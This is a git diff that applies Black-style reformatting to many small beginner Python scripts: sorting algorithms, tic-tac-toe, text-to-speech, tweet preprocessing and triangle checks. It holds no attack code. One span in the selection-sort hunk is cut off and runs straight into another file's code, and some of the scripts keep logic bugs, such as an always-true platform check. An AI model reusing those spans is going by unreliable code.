Algorithims/brickSort.py b/Sorting Algorithims/brickSort.py index 8e79c462061..08308d05a5a 100644 --- a/Sorting Algorithims/brickSort.py +++ b/Sorting Algorithims/brickSort.py @@ -1,28 +1,29 @@ -# Python Program to implement -# Odd-Even / Brick Sort - -def oddEvenSort(arr, n): - # Initially array is unsorted +# Python Program to implement +# Odd-Even / Brick Sort + + +def oddEvenSort(arr, n): + # Initially array is unsorted isSorted = 0 - while isSorted == 0: + while isSorted == 0: isSorted = 1 temp = 0 - for i in range(1, n-1, 2): - if arr[i] > arr[i+1]: - arr[i], arr[i+1] = arr[i+1], arr[i] + for i in range(1, n - 1, 2): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] isSorted = 0 - - for i in range(0, n-1, 2): - if arr[i] > arr[i+1]: - arr[i], arr[i+1] = arr[i+1], arr[i] + + for i in range(0, n - 1, 2): + if arr[i] > arr[i + 1]: + arr[i], arr[i + 1] = arr[i + 1], arr[i] isSorted = 0 - + return - - -arr = [34, 2, 10, -9] -n = len(arr) - -oddEvenSort(arr, n); -for i in range(0, n): - print(arr[i], end =" ") + + +arr = [34, 2, 10, -9] +n = len(arr) + +oddEvenSort(arr, n) +for i in range(0, n): + print(arr[i], end=" ") diff --git a/Sorting Algorithims/bubblesortpgm.py b/Sorting Algorithims/bubblesortpgm.py index 929d1e9850a..2e51d9e5259 100644 --- a/Sorting Algorithims/bubblesortpgm.py +++ b/Sorting Algorithims/bubblesortpgm.py @@ -1,4 +1,4 @@ -'''Bubble Sort +"""Bubble Sort Bubble Sort is the simplest sorting algorithm that works by repeatedly swapping the adjacent elements if they are in wrong order. Example: First Pass: @@ -18,34 +18,35 @@ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) -( 1 2 4 5 8 ) –> ( 1 2 4 5 8 )''' +( 1 2 4 5 8 ) –> ( 1 2 4 5 8 )""" # Python program for implementation of Bubble Sort + def bubbleSort(arr): - n = len(arr) - - # Traverse through all array elements - for i in range(n): - not_swap = True - # Last i elements are already in place - for j in range(0, n-i-1): - - # traverse the array from 0 to n-i-1 - # Swap if the element found is greater - # than the next element - if arr[j] > arr[j+1] : - arr[j], arr[j+1] = arr[j+1], arr[j] - not_swap = False - if not_swap: - break - + n = len(arr) + + # Traverse through all array elements + for i in range(n): + not_swap = True + # Last i elements are already in place + for j in range(0, n - i - 1): + + # traverse the array from 0 to n-i-1 + # Swap if the element found is greater + # than the next element + if arr[j] > arr[j + 1]: + arr[j], arr[j + 1] = arr[j + 1], arr[j] + not_swap = False + if not_swap: + break + # Driver code to test above arr = [64, 34, 25, 12, 22, 11, 90] bubbleSort(arr) -print ("Sorted array is:") +print("Sorted array is:") for i in range(len(arr)): - print ("%d" %arr[i]), \ No newline at end of file + print("%d" % arr[i]), diff --git a/Sorting Algorithims/merge_sort.py b/Sorting Algorithims/merge_sort.py index 655577ebddb..005b4597509 100644 --- a/Sorting Algorithims/merge_sort.py +++ b/Sorting Algorithims/merge_sort.py @@ -54,7 +54,7 @@ def merge_sort(nums): random_list_of_nums = merge_sort(random_list_of_nums) print(random_list_of_nums) -''' +""" Here merge_sort() function, unlike the previous sorting algorithms, returns a new list that is sorted, rather than sorting the existing list. Therefore, Merge Sort requires space to create a new list of the same size as the input list -''' +""" diff --git a/Sorting Algorithims/pigeonhole_sort.py b/Sorting Algorithims/pigeonhole_sort.py index ec6b779b4dd..cf6f8a5ca6c 100644 --- a/Sorting Algorithims/pigeonhole_sort.py +++ b/Sorting Algorithims/pigeonhole_sort.py @@ -1,37 +1,32 @@ - -#know what is Pigeonhole_principle +# know what is Pigeonhole_principle # https://www.youtube.com/watch?v=IeTLZPNIPJQ -def pigeonhole_sort(a): +def pigeonhole_sort(a): - # (number of pigeonholes we need) - my_min = min(a) - my_max = max(a) - size = my_max - my_min + 1 + # (number of pigeonholes we need) + my_min = min(a) + my_max = max(a) + size = my_max - my_min + 1 - # total pigeonholes - holes = [0] * size + # total pigeonholes + holes = [0] * size - # filling up the pigeonholes. - for x in a: - holes[x - my_min] += 1 + # filling up the pigeonholes. + for x in a: + holes[x - my_min] += 1 - # Put the elements back into the array in order. - i = 0 - for count in range(size): - while holes[count] > 0: - holes[count] -= 1 - a[i] = count + my_min - i += 1 - - - + # Put the elements back into the array in order. + i = 0 + for count in range(size): + while holes[count] > 0: + holes[count] -= 1 + a[i] = count + my_min + i += 1 -a = [10, 3, 2, 7, 4, 6, 8] -#list only integers -print(pigeonhole_sort(a) ) -print(a) +a = [10, 3, 2, 7, 4, 6, 8] - +# list only integers +print(pigeonhole_sort(a)) +print(a) diff --git a/Sorting Algorithims/recursive-quick-sort.py b/Sorting Algorithims/recursive-quick-sort.py index e719e7fa271..3501f89dabc 100644 --- a/Sorting Algorithims/recursive-quick-sort.py +++ b/Sorting Algorithims/recursive-quick-sort.py @@ -2,5 +2,8 @@ def quick_sort(l): if len(l) <= 1: return l else: - return quick_sort([e for e in l[1:] if e <= l[0]]) + [l[0]] +\ - quick_sort([e for e in l[1:] if e > l[0]]) + return ( + quick_sort([e for e in l[1:] if e <= l[0]]) + + [l[0]] + + quick_sort([e for e in l[1:] if e > l[0]]) + ) diff --git a/Sorting Algorithims/selectionSort.py b/Sorting Algorithims/selectionSort.py index 1c69eaaacd4..75fbafcf79f 100644 --- a/Sorting Algorithims/selectionSort.py +++ b/Sorting Algorithims/selectionSort.py @@ -2,8 +2,8 @@ N = int(input("Enter The Size Of List")) -for i in range(0,N): - a = int(input('Enter The number')) +for i in range(0, N): + a = int(input("Enter The number")) list.append(a) @@ -11,19 +11,17 @@ # Every time The Element Of List is fetched and the smallest element in remaining list is found and if it comes out # to be smaller than the element fetched then it is swapped with smallest number. -for i in range(0, len(list)-1): - smallest = list[i+1] +for i in range(0, len(list) - 1): + smallest = list[i + 1] k = 0 - for j in range(i+1,len(list)): - if(list[j]<=smallest): + for j in range(i + 1, len(list)): + if list[j] <= smallest: smallest = list[j] k = j - if(smallest arr[j]): - temp = arr[i]; - arr[i] = arr[j]; - arr[j] = temp; - -print(); - - -print("Elements of array sorted in ascending order: "); -for i in range(0, len(arr)): - print(arr[i], end=" "); +arr = [7, 2, 8, 5, 1, 4, 6, 3] +temp = 0 + +print("Elements of original array: ") +for i in range(0, len(arr)): + print(arr[i], end=" ") + +for i in range(0, len(arr)): + for j in range(i + 1, len(arr)): + if arr[i] > arr[j]: + temp = arr[i] + arr[i] = arr[j] + arr[j] = temp + +print() + + +print("Elements of array sorted in ascending order: ") +for i in range(0, len(arr)): + print(arr[i], end=" ") diff --git a/Sorting Algorithims/stooge_sort.py b/Sorting Algorithims/stooge_sort.py index 778094c82e5..ace9ba22038 100644 --- a/Sorting Algorithims/stooge_sort.py +++ b/Sorting Algorithims/stooge_sort.py @@ -1,39 +1,35 @@ - - # See what stooge sort dooes # https://www.youtube.com/watch?v=vIDkfrSdID8 -def stooge_sort_(arr, l, h): - if l >= h: - return 0 - # If first element is smaller than last, then swap +def stooge_sort_(arr, l, h): + if l >= h: + return 0 - if arr[l]>arr[h]: - t = arr[l] - arr[l] = arr[h] - arr[h] = t + # If first element is smaller than last, then swap - # If there are more than 2 elements in array - if h-l + 1 > 2: - t = (int)((h-l + 1)/3) + if arr[l] > arr[h]: + t = arr[l] + arr[l] = arr[h] + arr[h] = t - # Recursively sort first 2 / 3 elements - stooge_sort_(arr, l, (h-t)) + # If there are more than 2 elements in array + if h - l + 1 > 2: + t = (int)((h - l + 1) / 3) - # Recursively sort last 2 / 3 elements - stooge_sort_(arr, l + t, (h)) + # Recursively sort first 2 / 3 elements + stooge_sort_(arr, l, (h - t)) - # Recursively sort first 2 / 3 elements - stooge_sort_(arr, l, (h-t)) - - + # Recursively sort last 2 / 3 elements + stooge_sort_(arr, l + t, (h)) + # Recursively sort first 2 / 3 elements + stooge_sort_(arr, l, (h - t)) -arr = [2, 4, 5, 3, 1] -n = len(arr) +arr = [2, 4, 5, 3, 1] +n = len(arr) -stooge_sort_(arr, 0, n-1) +stooge_sort_(arr, 0, n - 1) -print(arr) \ No newline at end of file +print(arr) diff --git a/Sorting Algorithims/wave_sort.py b/Sorting Algorithims/wave_sort.py index 0dba0bcd4bd..cdaeb75afb2 100644 --- a/Sorting Algorithims/wave_sort.py +++ b/Sorting Algorithims/wave_sort.py @@ -3,8 +3,9 @@ def sortInWave(arr, n): for i in range(0, n - 1, 2): arr[i], arr[i + 1] = arr[i + 1], arr[i] + arr = [] -arr =input("Enter the arr") +arr = input("Enter the arr") sortInWave(arr, len(arr)) for i in range(0, len(arr)): - print(arr[i],' ') \ No newline at end of file + print(arr[i], " ") diff --git a/Split_Circular_Linked_List.py b/Split_Circular_Linked_List.py index 66ffbfda451..eadba3ce34a 100644 --- a/Split_Circular_Linked_List.py +++ b/Split_Circular_Linked_List.py @@ -39,7 +39,7 @@ def Split_List(self, head1, head2): def Display(self): temp = self.head if self.head is not None: - while(temp): + while temp: print(temp.data, "->", end=" ") temp = temp.next if temp == self.head: diff --git a/StringToBinary.py b/StringToBinary.py index 7df54ffd50b..ebaabe2e152 100644 --- a/StringToBinary.py +++ b/StringToBinary.py @@ -1,12 +1,12 @@ -text = input('Enter Text : ') +text = input("Enter Text : ") for chr in text: - bin = '' + bin = "" asciiVal = int(ord(chr)) while asciiVal > 0: if asciiVal % 2 == 0: - bin = bin + '0' + bin = bin + "0" else: - bin = bin + '1' - asciiVal = int(asciiVal/2) + bin = bin + "1" + asciiVal = int(asciiVal / 2) print(bin + " : " + bin[::-1]) diff --git a/Strings.py b/Strings.py index d163875b134..9c76b0a872a 100644 --- a/Strings.py +++ b/Strings.py @@ -1,23 +1,23 @@ -String1 = 'Welcome to Malya\'s World' -print("String with the use of Single Quotes: ") -print(String1) - -# Creating a String -# with double Quotes +String1 = "Welcome to Malya's World" +print("String with the use of Single Quotes: ") +print(String1) + +# Creating a String +# with double Quotes String1 = "I'm a TechGeek" -print("\nString with the use of Double Quotes: ") -print(String1) - -# Creating a String -# with triple Quotes +print("\nString with the use of Double Quotes: ") +print(String1) + +# Creating a String +# with triple Quotes String1 = '''I'm Malya and I live in a world of "TechGeeks"''' -print("\nString with the use of Triple Quotes: ") -print(String1) - -# Creating String with triple -# Quotes allows multiple lines -String1 = '''Smile +print("\nString with the use of Triple Quotes: ") +print(String1) + +# Creating String with triple +# Quotes allows multiple lines +String1 = """Smile For - Life''' -print("\nCreating a multiline String: ") -print(String1) + Life""" +print("\nCreating a multiline String: ") +print(String1) diff --git a/TTS.py b/TTS.py index 68838204907..a151388ce21 100644 --- a/TTS.py +++ b/TTS.py @@ -1,11 +1,13 @@ from tkinter import * from platform import system -if system() == 'Windows' or 'nt': + +if system() == "Windows" or "nt": import win32com.client as wincl else: print("Sorry, TTS client is not supported on Linux or MacOS") exit() + def text2Speech(): text = e.get() speak = wincl.Dispatch("SAPI.SpVoice") diff --git a/Tic_Tac_Toe.py b/Tic_Tac_Toe.py index 7bf6ab3ce7b..b71b5b1d290 100644 --- a/Tic_Tac_Toe.py +++ b/Tic_Tac_Toe.py @@ -1,9 +1,10 @@ -import random +import random # a python program for tic-tac-toe game # module intro for introduction # module show_board for values -# module playgame +# module playgame + def introduction(): print("Hello this a sample tic tac toe game") @@ -11,6 +12,7 @@ def introduction(): print("While 3,3 would be the bottom right.") print("Player 1 is X and Player 2 is O") + def draw_board(board): print(" | |") print(" " + board[7] + " | " + board[8] + " | " + board[9]) @@ -24,19 +26,21 @@ def draw_board(board): print(" " + board[1] + " | " + board[2] + " | " + board[3]) print(" | |") + def input_player_letter(): # Lets the player type witch letter they want to be. # Returns a list with the player's letter as the first item, and the computer's letter as the second. - letter = '' - while not (letter =='X' or letter == 'O'): + letter = "" + while not (letter == "X" or letter == "O"): print("Do you want to be X or O? ") letter = input("> ").upper() # the first element in the list is the player’s letter, the second is the computer's letter. - if letter == 'X': - return ['X', 'O'] + if letter == "X": + return ["X", "O"] else: - return ['O', 'X'] + return ["O", "X"] + def frist_player(): guess = random.randint(0, 1) @@ -45,24 +49,30 @@ def frist_player(): else: return "Player" + def play_again(): print("Do you want to play again? (y/n)") - return input().lower().startswith('y') + return input().lower().startswith("y") + def make_move(board, letter, move): board[move] = letter + def is_winner(bo, le): # Given a board and a player’s letter, this function returns True if that player has won. # We use bo instead of board and le instead of letter so we don’t have to type as much. - return ((bo[7] == le and bo[8] == le and bo[9] == le) or - (bo[4] == le and bo[5] == le and bo[6] == le) or - (bo[1] == le and bo[2] == le and bo[3] == le) or - (bo[7] == le and bo[4] == le and bo[1] == le) or - (bo[8] == le and bo[5] == le and bo[2] == le) or - (bo[9] == le and bo[6] == le and bo[3] == le) or - (bo[7] == le and bo[5] == le and bo[3] == le) or - (bo[9] == le and bo[5] == le and bo[1] == le)) + return ( + (bo[7] == le and bo[8] == le and bo[9] == le) + or (bo[4] == le and bo[5] == le and bo[6] == le) + or (bo[1] == le and bo[2] == le and bo[3] == le) + or (bo[7] == le and bo[4] == le and bo[1] == le) + or (bo[8] == le and bo[5] == le and bo[2] == le) + or (bo[9] == le and bo[6] == le and bo[3] == le) + or (bo[7] == le and bo[5] == le and bo[3] == le) + or (bo[9] == le and bo[5] == le and bo[1] == le) + ) + def get_board_copy(board): dupe_board = [] @@ -70,34 +80,40 @@ def get_board_copy(board): dupe_board.append(i) return dupe_board + def is_space_free(board, move): - return board[move] == ' ' + return board[move] == " " + def get_player_move(board): # Let the player type in their move - move = ' ' - while move not in '1 2 3 4 5 6 7 8 9'.split() or not is_space_free(board, int(move)): + move = " " + while move not in "1 2 3 4 5 6 7 8 9".split() or not is_space_free( + board, int(move) + ): print("What is your next move? (1-9)") move = input() return int(move) + def choose_random_move_from_list(board, moveslist): - possible_moves = [] + possible_moves = [] for i in moveslist: if is_space_free(board, i): possible_moves.append(i) - + if len(possible_moves) != 0: return random.choice(possible_moves) else: return None + def get_computer_move(board, computer_letter): - if computer_letter == 'X': - player_letter = 'O' + if computer_letter == "X": + player_letter = "O" else: - player_letter = 'X' - + player_letter = "X" + for i in range(1, 10): copy = get_board_copy(board) if is_space_free(copy, i): @@ -105,14 +121,13 @@ def get_computer_move(board, computer_letter): if is_winner(copy, computer_letter): return i - for i in range(1, 10): copy = get_board_copy(board) if is_space_free(copy, i): make_move(copy, player_letter, i) if is_winner(copy, player_letter): return i - + move = choose_random_move_from_list(board, [1, 3, 7, 9]) if move != None: return move @@ -122,24 +137,26 @@ def get_computer_move(board, computer_letter): return choose_random_move_from_list(board, [2, 4, 6, 8]) + def is_board_full(board): for i in range(1, 10): if is_space_free(board, i): return False return True + print("Welcome To Tic Tac Toe!") -while True: - the_board = [' '] * 10 +while True: + the_board = [" "] * 10 player_letter, computer_letter = input_player_letter() turn = frist_player() print("The " + turn + " go frist.") game_is_playing = True - - while game_is_playing: - if turn == 'player': - #players turn + + while game_is_playing: + if turn == "player": + # players turn draw_board(the_board) move = get_player_move(the_board) make_move(the_board, player_letter, move) @@ -154,9 +171,9 @@ def is_board_full(board): print("The game is tie!") break else: - turn = 'computer' + turn = "computer" else: - #Computer's turn + # Computer's turn move = get_computer_move(the_board, computer_letter) make_move(the_board, computer_letter, move) @@ -170,7 +187,6 @@ def is_board_full(board): print("The game is a tie!") break else: - turn = 'player' + turn = "player" if not play_again(): break - diff --git a/Timetable_Operations.py b/Timetable_Operations.py index a87a5b62821..0f75e59e516 100644 --- a/Timetable_Operations.py +++ b/Timetable_Operations.py @@ -1,50 +1,52 @@ ##Clock in pt2thon## -t1 = input("Init schedule : ") # first schedule -HH1 = int(t1[0]+t1[1]) -MM1 = int(t1[3]+t1[4]) -SS1 = int(t1[6]+t1[7]) +t1 = input("Init schedule : ") # first schedule +HH1 = int(t1[0] + t1[1]) +MM1 = int(t1[3] + t1[4]) +SS1 = int(t1[6] + t1[7]) -t2 = input("Final schedule : ") # second schedule -HH2 = int(t2[0]+t2[1]) -MM2 = int(t2[3]+t2[4]) -SS2 = int(t2[6]+t2[7]) +t2 = input("Final schedule : ") # second schedule +HH2 = int(t2[0] + t2[1]) +MM2 = int(t2[3] + t2[4]) +SS2 = int(t2[6] + t2[7]) -tt1 = (HH1*3600)+(MM1*60)+SS1 # total schedule 1 -tt2 = (HH2*3600)+(MM2*60)+SS2 # total schedule 2 -tt3 = tt2-tt1 # difference between tt2 e tt1 +tt1 = (HH1 * 3600) + (MM1 * 60) + SS1 # total schedule 1 +tt2 = (HH2 * 3600) + (MM2 * 60) + SS2 # total schedule 2 +tt3 = tt2 - tt1 # difference between tt2 e tt1 # Part Math -if (tt3 < 0): +if tt3 < 0: # If the difference between tt2 e tt1 for negative : - a = 86400 - tt1 # 86400 is seconds in 1 day; - a2 = a + tt2 # a2 is the difference between 1 day e the ; - Ht = a2//3600 # Ht is hours calculated; + a = 86400 - tt1 # 86400 is seconds in 1 day; + a2 = a + tt2 # a2 is the difference between 1 day e the ; + Ht = a2 // 3600 # Ht is hours calculated; - a = a2 % 3600 # Convert 'a' in seconds; - Mt = a//60 # Mt is minutes calculated; - St = a % 60 # St is seconds calculated; + a = a2 % 3600 # Convert 'a' in seconds; + Mt = a // 60 # Mt is minutes calculated; + St = a % 60 # St is seconds calculated; else: # If the difference between tt2 e tt1 for positive : - Ht = tt3//3600 # Ht is hours calculated; - z = tt3 % 3600 # 'z' is tt3 converting in hours by seconds - - Mt = z//60 # Mt is minutes calculated; - St = tt3 % 60 # St is seconds calculated; - -# special condition below : -if (Ht < 10): - h = '0'+ str(Ht) - Ht = h -if (Mt < 10): - m = '0'+ str(Mt) - Mt = m -if (St < 10): - s = '0'+ str(St) - St = s + Ht = tt3 // 3600 # Ht is hours calculated; + z = tt3 % 3600 # 'z' is tt3 converting in hours by seconds + + Mt = z // 60 # Mt is minutes calculated; + St = tt3 % 60 # St is seconds calculated; + +# special condition below : +if Ht < 10: + h = "0" + str(Ht) + Ht = h +if Mt < 10: + m = "0" + str(Mt) + Mt = m +if St < 10: + s = "0" + str(St) + St = s # add '0' to the empty spaces (caused by previous operations) in the final result! -print("final result is :", str(Ht)+":"+str(Mt)+":"+str(St)) # final result (formatted in clock) \ No newline at end of file +print( + "final result is :", str(Ht) + ":" + str(Mt) + ":" + str(St) +) # final result (formatted in clock) diff --git a/To print series 1,12,123,1234......py b/To print series 1,12,123,1234......py index 168388736d5..93adda5ee67 100644 --- a/To print series 1,12,123,1234......py +++ b/To print series 1,12,123,1234......py @@ -1,49 +1,50 @@ # master -def num(a): +def num(a): - # initialising starting number + # initialising starting number - num = 1 + num = 1 - # outer loop to handle number of rows + # outer loop to handle number of rows - for i in range(0, a): + for i in range(0, a): - # re assigning num + # re assigning num - num = 1 + num = 1 - # inner loop to handle number of columns + # inner loop to handle number of columns - # values changing acc. to outer loop + # values changing acc. to outer loop - for k in range(0, i+1): + for k in range(0, i + 1): - # printing number + # printing number - print(num, end=" ") + print(num, end=" ") - # incrementing number at each column + # incrementing number at each column - num = num + 1 + num = num + 1 -# ending line after each row + # ending line after each row + + print("\r") - print("\r") # Driver code a = 5 -num(a) +num(a) # ======= # 1-12-123-1234 Pattern up to n lines n = int(input("Enter number of rows: ")) -for i in range(1,n+1): - for j in range(1, i+1): +for i in range(1, n + 1): + for j in range(1, i + 1): print(j, end="") print() - + # master diff --git a/Triplets with zero sum/find_Triplets_with_zero_sum.py b/Triplets with zero sum/find_Triplets_with_zero_sum.py index 0517eddde2a..2a2d2b7688d 100644 --- a/Triplets with zero sum/find_Triplets_with_zero_sum.py +++ b/Triplets with zero sum/find_Triplets_with_zero_sum.py @@ -1,75 +1,75 @@ -''' +""" Author : Mohit Kumar Python program to find triplets in a given array whose sum is zero -''' - -# function to print triplets with 0 sum -def find_Triplets_with_zero_sum(arr, num): - - ''' find triplets in a given array whose sum is zero - - Parameteres : - arr : input array - num = size of input array - Output : - if triplets found return their values - else return "No Triplet Found" - ''' - # bool variable to check if triplet found or not +""" + +# function to print triplets with 0 sum +def find_Triplets_with_zero_sum(arr, num): + + """find triplets in a given array whose sum is zero + + Parameteres : + arr : input array + num = size of input array + Output : + if triplets found return their values + else return "No Triplet Found" + """ + # bool variable to check if triplet found or not found = False - # sort array elements - arr.sort() + # sort array elements + arr.sort() # Run a loop until l is less than r, if the sum of array[l], array[r] is equal to zero then print the triplet and break the loop - for index in range(0, num - 1) : - - # initialize left and right + for index in range(0, num - 1): + + # initialize left and right left = index + 1 right = num - 1 - curr = arr[index] # current element - - while (left < right): - - temp = curr + arr[left] + arr[right] - - if (temp == 0) : - # print elements if it's sum is zero - print(curr, arr[left], arr[right]) - + curr = arr[index] # current element + + while left < right: + + temp = curr + arr[left] + arr[right] + + if temp == 0: + # print elements if it's sum is zero + print(curr, arr[left], arr[right]) + left += 1 right -= 1 - + found = True - - # If sum of three elements is less than zero then increment in left - elif (temp < 0) : + # If sum of three elements is less than zero then increment in left + elif temp < 0: left += 1 - # if sum is greater than zero than decrement in right side - else: + # if sum is greater than zero than decrement in right side + else: right -= 1 - - if (found == False): - print(" No Triplet Found") + + if found == False: + print(" No Triplet Found") + # DRIVER CODE STARTS if __name__ == "__main__": - - n = int(input('Enter size of array\n')) - print('Enter elements of array\n') - - arr = list(map(int,input().split())) - - print('Triplets with 0 sum are as : ') - - find_Triplets_with_zero_sum(arr, n) - -''' + + n = int(input("Enter size of array\n")) + print("Enter elements of array\n") + + arr = list(map(int, input().split())) + + print("Triplets with 0 sum are as : ") + + find_Triplets_with_zero_sum(arr, n) + +""" SAMPLE INPUT 1 : Enter size of array : 5 Enter elements of array : 0, -1, 2, -3, 1 @@ -81,4 +81,4 @@ def find_Triplets_with_zero_sum(arr, num): Time Complexity : O(n^2). Only two nested loops is required, so the time complexity is O(n^2). Auxiliary Space : O(1), no extra space is required, so the time complexity is constant. -''' +""" diff --git a/Turn your PDFs into audio books/audiobook_gen.py b/Turn your PDFs into audio books/audiobook_gen.py index bb7dd4c10b5..cd54bc0a89a 100644 --- a/Turn your PDFs into audio books/audiobook_gen.py +++ b/Turn your PDFs into audio books/audiobook_gen.py @@ -1,16 +1,20 @@ import PyPDF2 import pyttsx3 -book = open(input('Enter the book name: '), 'rb') -pg_no = int(input("Enter the page number from which you want the system to start reading text: ")) +book = open(input("Enter the book name: "), "rb") +pg_no = int( + input( + "Enter the page number from which you want the system to start reading text: " + ) +) pdf_Reader = PyPDF2.PdfFileReader(book) pages = pdf_Reader.numPages speaker = pyttsx3.init() -for num in range((pg_no-1), pages): +for num in range((pg_no - 1), pages): page = pdf_Reader.getPage(num) text = page.extractText() speaker.say(text) - speaker.runAndWait() \ No newline at end of file + speaker.runAndWait() diff --git a/Tweet Pre-Processing.py b/Tweet Pre-Processing.py index 24e1a223e03..43d3e6c13b3 100644 --- a/Tweet Pre-Processing.py +++ b/Tweet Pre-Processing.py @@ -13,33 +13,33 @@ # In[ ]: -#analysing tweets from the corpus +# analysing tweets from the corpus # In[14]: -positive_tweets=twitter_samples.strings('positive_tweets.json') +positive_tweets = twitter_samples.strings("positive_tweets.json") # In[15]: -negative_tweets=twitter_samples.strings('negative_tweets.json') +negative_tweets = twitter_samples.strings("negative_tweets.json") # In[16]: -all_tweets=positive_tweets+negative_tweets +all_tweets = positive_tweets + negative_tweets # In[17]: -#Analysing sampels tweets +# Analysing sampels tweets -print(positive_tweets[random.randint(0,5000)]) +print(positive_tweets[random.randint(0, 5000)]) # In[19]: @@ -53,8 +53,6 @@ 5.steeming of the word""" - - import re import string @@ -66,16 +64,16 @@ # In[20]: -#Removing Hyper links +# Removing Hyper links -tweet=all_tweets[1] +tweet = all_tweets[1] -#removing RT words in the tweet -tweet= re.sub(r'^RT[\s]+', '', tweet) -#removing hyperlinks in the tweet -tweet= re.sub(r'https?:\/\/.*[\r\n]*', '', tweet) -#removing #symbol from the tweet -tweet= re.sub(r'#', '', tweet) +# removing RT words in the tweet +tweet = re.sub(r"^RT[\s]+", "", tweet) +# removing hyperlinks in the tweet +tweet = re.sub(r"https?:\/\/.*[\r\n]*", "", tweet) +# removing #symbol from the tweet +tweet = re.sub(r"#", "", tweet) print(tweet) @@ -83,11 +81,11 @@ # In[22]: -#Tokenizing +# Tokenizing -tokenizer=TweetTokenizer(preserve_case=False, strip_handles=True,reduce_len=True) +tokenizer = TweetTokenizer(preserve_case=False, strip_handles=True, reduce_len=True) -tokens=tokenizer.tokenize(tweet) +tokens = tokenizer.tokenize(tweet) print(tokens) @@ -95,11 +93,11 @@ # In[23]: -#Remving stop words and punctuation marks +# Remving stop words and punctuation marks -stoper=stopwords.words('english') +stoper = stopwords.words("english") -punct=string.punctuation +punct = string.punctuation print(stoper) print(punct) @@ -108,33 +106,29 @@ # In[24]: -cleaned=[] +cleaned = [] for i in tokens: if i not in stoper and i not in punct: cleaned.append(i) - - + + print(cleaned) # In[25]: -#stemming +# stemming -stemmer=PorterStemmer() +stemmer = PorterStemmer() -processed=[] +processed = [] for i in cleaned: - st=stemmer.stem(i) + st = stemmer.stem(i) processed.append(st) - + print(processed) # In[ ]: - - - - diff --git a/Type of angles of a triangle.py b/Type of angles of a triangle.py index 0a6f1cb71be..3281f0d9980 100644 --- a/Type of angles of a triangle.py +++ b/Type of angles of a triangle.py @@ -1,15 +1,18 @@ -#This program will return the type of the triangle. -#User has to enter the angles of the triangle in degrees. +# This program will return the type of the triangle. +# User has to enter the angles of the triangle in degrees. def angle_type(): angles = [] - myDict = {"All angles are less than 90°.":"Acute Angle Triangle","Has a right angle (90°)":"Right Angle Triangle", - "Has an angle more than 90°":"Obtuse Angle triangle"} + myDict = { + "All angles are less than 90°.": "Acute Angle Triangle", + "Has a right angle (90°)": "Right Angle Triangle", + "Has an angle more than 90°": "Obtuse Angle triangle", + } print("**************Enter the angles of your triangle to know it's type*********") angle1 = int(input("Enter angle1 : ")) - if(angle1 < 180 and angle1 > 0): + if angle1 < 180 and angle1 > 0: angles.append(angle1) else: print("Please enter a value less than 180°") @@ -17,7 +20,7 @@ def angle_type(): angles.append(angle1) angle2 = int(input("Enter angle2 : ")) - if(angle2 < 180 and angle2 > 0): + if angle2 < 180 and angle2 > 0: angles.append(angle2) else: print("Please enter a value less than 180°") @@ -25,29 +28,28 @@ def angle_type(): angles.append(angle2) angle3 = int(input("Enter angle3 : ")) - if(angle3 < 180 and angle3 > 0): + if angle3 < 180 and angle3 > 0: angles.append(angle3) else: print("Please enter a value less than 180°") angle3 = int(input()) angles.append(angle3) - sum_of_angles = angle1 + angle2 +angle3 - if(sum_of_angles > 180 or sum_of_angles < 180): + sum_of_angles = angle1 + angle2 + angle3 + if sum_of_angles > 180 or sum_of_angles < 180: print("It is not a triangle!Please enter valid angles.") return -1 - print("You have entered : " +str(angles)) + print("You have entered : " + str(angles)) - if(angle1 >= 90 or angle2 >= 90 or angle3 >= 90): + if angle1 >= 90 or angle2 >= 90 or angle3 >= 90: print(myDict.get("Has a right angle (90°)")) - elif(angle1 < 90 and angle2 < 90 and angle3 < 90): + elif angle1 < 90 and angle2 < 90 and angle3 < 90: print(myDict.get("All angles are less than 90°.")) - elif(angle1 > 90 or angle2 > 90 or angle3 > 90): + elif angle1 > 90 or angle2 > 90 or angle3 > 90: print(myDict.get("Has an angle more than 90°")) -angle_type() - +angle_type() diff --git a/Type_of_angles_of_triangle.py b/Type_of_angles_of_triangle.py index 7b75372160f..62978777f56 100644 --- a/Type_of_angles_of_triangle.py +++ b/Type_of_angles_of_triangle.py @@ -1,35 +1,35 @@ -#This program will return the type of the triangle. -#User has to enter the angles of the triangle in degrees. +# This program will return the type of the triangle. +# User has to enter the angles of the triangle in degrees. + def angle_type(): angles = [] - myDict = {"All angles are less than 90°.":"Acute Angle Triangle","Has a right angle (90°)":"Right Angle Triangle", - "Has an angle more than 90°":"Obtuse Angle triangle"} + myDict = { + "All angles are less than 90°.": "Acute Angle Triangle", + "Has a right angle (90°)": "Right Angle Triangle", + "Has an angle more than 90°": "Obtuse Angle triangle", + } print("**************Enter the angles of your triangle to know it's type*********") - - -# Taking Angle 1 + # Taking Angle 1 angle1 = int(input("Enter angle 1 : ")) - - if(angle1 < 180 and angle1 > 0): + + if angle1 < 180 and angle1 > 0: angles.append(angle1) - + else: print("Please enter a value less than 180°") angle1 = int(input()) angles.append(angle1) - - -# Taking Angle 2 + # Taking Angle 2 angle2 = int(input("Enter angle2 : ")) - - if(angle2 < 180 and angle2 > 0): + + if angle2 < 180 and angle2 > 0: angles.append(angle2) else: @@ -37,13 +37,11 @@ def angle_type(): angle2 = int(input("Enter angle 2 :")) angles.append(angle2) - - -# Taking Angle 3 + # Taking Angle 3 angle3 = int(input("Enter angle3 : ")) - - if(angle3 < 180 and angle3 > 0): + + if angle3 < 180 and angle3 > 0: angles.append(angle3) else: @@ -51,26 +49,23 @@ def angle_type(): angle3 = int(input("Enter angle3 : ")) angles.append(angle3) + # Answer - -# Answer - - sum_of_angles = angle1 + angle2 +angle3 - if(sum_of_angles > 180 or sum_of_angles < 180): + sum_of_angles = angle1 + angle2 + angle3 + if sum_of_angles > 180 or sum_of_angles < 180: print("It is not a triangle!Please enter valid angles.") return -1 - print("You have entered : " +str(angles)) + print("You have entered : " + str(angles)) - if(angle1 == 90 or angle2 ==90 or angle3 == 90): + if angle1 == 90 or angle2 == 90 or angle3 == 90: print(myDict.get("Has a right angle (90°)")) - elif(angle1 < 90 and angle2 < 90 and angle3 < 90): + elif angle1 < 90 and angle2 < 90 and angle3 < 90: print(myDict.get("All angles are less than 90°.")) - elif(angle1 > 90 or angle2 > 90 or angle3 > 90): + elif angle1 > 90 or angle2 > 90 or angle3 > 90: print(myDict.get("Has an angle more than 90°")) -angle_type() - +angle_type() diff 